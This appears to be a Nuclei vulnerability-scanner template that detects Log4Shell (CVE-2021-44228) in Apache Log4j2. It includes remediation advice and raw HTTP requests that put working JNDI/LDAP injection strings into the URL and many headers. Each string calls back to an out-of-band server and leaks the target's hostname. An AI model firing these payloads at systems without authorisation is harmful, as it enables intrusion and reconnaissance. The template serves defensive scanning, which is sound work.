id: CVE-2021-44228 info: name: Apache Log4j2 Remote Code Injection author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo severity: critical description: | Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. reference: - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later). classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-502 epss-score: 0.97578 tags: cve,cve2021,rce,oast,log4j,injection,kev metadata: max-request: 2 variables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' http: - raw: - | GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1 Host: {{Hostname}} - | GET / HTTP/1.1 Host: {{Hostname}} Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}} Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}} Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}} Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}} Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}} Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}} Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}} Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}} Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}} Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}} Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}} Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}} User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}} X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}} X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}} X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}} X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}} X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}} stop-at-first-match: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex part: interactsh_request group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output - type: regex part: interactsh_request group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output